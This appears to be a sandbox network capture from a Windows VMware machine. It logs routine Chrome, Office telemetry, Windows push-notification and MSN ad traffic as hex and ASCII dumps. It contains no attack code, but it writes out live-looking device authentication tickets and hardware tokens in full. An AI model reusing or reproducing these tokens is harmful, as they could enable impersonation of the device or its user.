2024-11-27 10:14:26 UTC	124	IN	Data Raw: 33 33 66 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 77 61 6c 6d 61 72 74 20 64 69 76 65 72 73 69 74 79 20 65 71 75 69 74 79 20 69 6e 63 6c 75 73 69 6f 6e 22 2c 22 6e 6f 73 66 65 72 61 74 75 20 70 6f 70 63 6f 72 6e 20 62 75 63 6b 65 74 73 22 2c 22 6d 69 6e 6e 65 73 6f 74 61 20 74 69 6d 62 65 72 77 6f 6c 76 65 73 20 68 6f 75 73 74 6f 6e 20 72 6f 63 6b 65 74 73 22 2c 22 62 61 Data Ascii: 33f)]}'["",["walmart diversity equity inclusion","nosferatu popcorn buckets","minnesota timberwolves houston rockets","ba
2024-11-27 10:14:26 UTC	714	IN	Data Raw: 74 6d 61 6e 20 61 72 6b 68 61 6d 20 6f 72 69 67 69 6e 73 20 76 65 6e 67 65 61 6e 63 65 22 2c 22 74 68 65 20 65 61 72 74 68 20 74 69 6c 74 65 64 20 33 31 2e 35 20 69 6e 63 68 65 73 22 2c 22 6d 61 63 79 20 65 6d 70 6c 6f 79 65 65 20 65 78 70 65 6e 73 65 73 22 2c 22 7a 6f 64 69 61 63 20 73 69 67 6e 73 20 64 61 69 6c 79 20 68 6f 72 6f 73 63 6f 70 65 20 74 6f 64 61 79 22 2c 22 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 70 6c 61 6e 74 69 6e 67 20 70 72 6f 66 69 74 73 20 72 65 77 61 72 64 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 Data Ascii: tman arkham origins vengeance","the earth tilted 31.5 inches","macy employee expenses","zodiac signs daily horoscope today","monopoly go planting profits rewards"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsi
2024-11-27 10:14:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49743	142.250.181.68	443	7228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:25 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 10:14:26 UTC	933	IN	HTTP/1.1 200 OK Version: 699875240 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 27 Nov 2024 10:14:26 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-27 10:14:26 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-27 10:14:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:25 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101425Z-174f78459685726chC1EWRsnbg0000000wxg000000001ynk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:25 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101426Z-174f7845968xr5c2hC1EWRd0hn0000000dmg000000006emf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:25 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:26 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 417b6c53-401e-0029-0d91-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101426Z-174f7845968nxc96hC1EWRspw80000000weg000000008q3b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:26 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:25 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b19d62b2-701e-0053-0f5a-403a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101426Z-174f7845968vqt9xhC1EWRgten0000000wx00000000023u8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:26 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:26 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 7c04de44-501e-000a-019b-400180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101426Z-174f7845968g6hv8hC1EWR1v2n00000004ug0000000004s0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:26 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49750	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:26 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 47 66 57 34 44 54 74 4e 35 45 4f 6e 39 48 6f 4d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 38 34 33 35 65 39 31 38 37 63 37 62 38 35 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: GfW4DTtN5EOn9HoM.1Context: 48435e9187c7b85d
2024-11-27 10:14:26 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-27 10:14:26 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 47 66 57 34 44 54 74 4e 35 45 4f 6e 39 48 6f 4d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 38 34 33 35 65 39 31 38 37 63 37 62 38 35 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 33 67 4a 6a 56 2b 4c 6c 52 52 4f 35 34 6f 43 36 51 42 74 34 30 36 63 61 52 58 54 66 66 49 6b 43 4e 76 2b 39 4b 42 47 55 31 66 4d 62 30 6c 55 62 63 77 48 78 59 4c 76 49 49 6e 4d 78 64 6c 34 6a 6b 39 51 46 63 4c 67 35 61 4c 31 4b 45 42 6c 47 71 42 77 47 34 34 67 47 63 4a 67 55 62 37 67 44 34 65 41 69 55 52 78 69 4d 78 5a 6d Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: GfW4DTtN5EOn9HoM.2Context: 48435e9187c7b85d<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZ3gJjV+LlRRO54oC6QBt406caRXTffIkCNv+9KBGU1fMb0lUbcwHxYLvIInMxdl4jk9QFcLg5aL1KEBlGqBwG44gGcJgUb7gD4eAiURxiMxZm
2024-11-27 10:14:26 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 47 66 57 34 44 54 74 4e 35 45 4f 6e 39 48 6f 4d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 38 34 33 35 65 39 31 38 37 63 37 62 38 35 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: GfW4DTtN5EOn9HoM.3Context: 48435e9187c7b85d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-27 10:14:27 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-27 10:14:27 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 5a 52 50 6d 2b 64 63 51 59 30 4b 68 59 44 38 44 4b 68 72 79 62 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ZRPm+dcQY0KhYD8DKhrybw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49753	20.74.19.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:27 UTC	2591	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T101423Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=8352b2a617a44a97a874102ff95ce703&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=603596&metered=false&nettype=ethernet&npid=sc-88000045&oemName=ydtcub%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=ydtcub20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=603596&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUrcI4V7J+7x3Dx6p5/vW5Szm8WopEaQNehptp02OIzD0IC7D3e2+wXq6yvFa5Qq4mGQ77MqkmBq/MipuHZuA4if2KbgXvGMyPbAWGnW8Nisw+QCJc0IRf8cnbIvDaBXYshMmR0nijw3RoCP/+qAKKHAQllcL4vOrEc85xyV8KuwtkQWA5dbvtuoc36DyAG5QJt/XqhON5QlO57jUrU6y2oJg+0vYvi4e6+xNxrr/JrLOJtqAuwB+D+r5LwcAslaMovS/GFQp9HNcNU0iSK2mtM09nWAi4NiFI8p9WR8sTpHmBr8F+UExd2E0PxdDa5LSEx6UiB3hrT4jtNrIcadq5oQZgAAEKkSpT9aWgfhvqnF1BWQ9VWwAeQK9f5+3AMy/FZblC2U7SFNGB0+zFfJaOGUEYsa685onfY84z/26ZhruwPzBXuEuEb9IoQYBUEgfcwDEnXaORKjUeqlFyvdu/CLbdNsKtr+Kdx/zbJ8Zr57djpvQLwByu1lisJgo8F1Bz3jdyjX6UvhxIrnU4VpclIkjxUvKmXUfEzaW2RuRKZrNI4FG4+d321m2ljvBh4DeHvxAfRNbE0eUpJ9QYH9weckXF5qJdcwR7qMv37njMTTZXtaMy555de3G79VBSyFnza5Bti5YUWX1mQa39LCzxJQ+s8H5EK3eR++G0wbzgtC26AzlGsM7ItfRDf8KDaDgOmr2jaQbqtYuM0ut4JJI3vAaOQk0Xnky/+S86IY8XcRuesZER1VNGVAa6C6KgGqOiwOJSmSFiU/Mgh9EK24yg0NQ3NbA+iFYzo0pv0Jf2kWas4y4sAsMFoaCWtpqS0mhR4wyEobuT1If4unxXZyfLFQhybF95RHUsfFA9snqdDz5XauMnYhDZkp9zwKyH1UQYASlg/0WnQsz14cTjG5vsDCF0GqIcjB+3ES4DlaDFJHMkXMBUqq99cB&p= Cache-Control: no-cache MS-CV: 6wxuFIv5xEGgLuYt.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-27 10:14:27 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2943 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116216-T1-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: ZZaug92Ebjqg1KuMM23PKvAsbpL3E+zV2uwmTU2y8Ygyfk5KKl1olhjJuoN97xWFcbyxCjJJEooTOPYJNx9lctn6NHChOwO5UhL7DEzeX2jIiDXVrlzYMZsBjP9JTuZk5kyyRwgclw36gtFRcIYJWDtxlCU4IfDxbtveGap5/rqiMQ+KM57A/YrQKUFlsnqg06TfG4Vf8km1NAaPF8pFzdnaf8TAHLhu1yt2mRgs7yU9JAiUo4ED4+uFyWmowlVFHqoTQTCknGudpUBUO426rNVa/8lb7jfuZpxbLY/551qhdXNUZFAUMIQqz2vVOggSB6L0XxpzbtYC50eBl2i1LQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 10:14:27 GMT Connection: close
2024-11-27 10:14:27 UTC	2943	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: 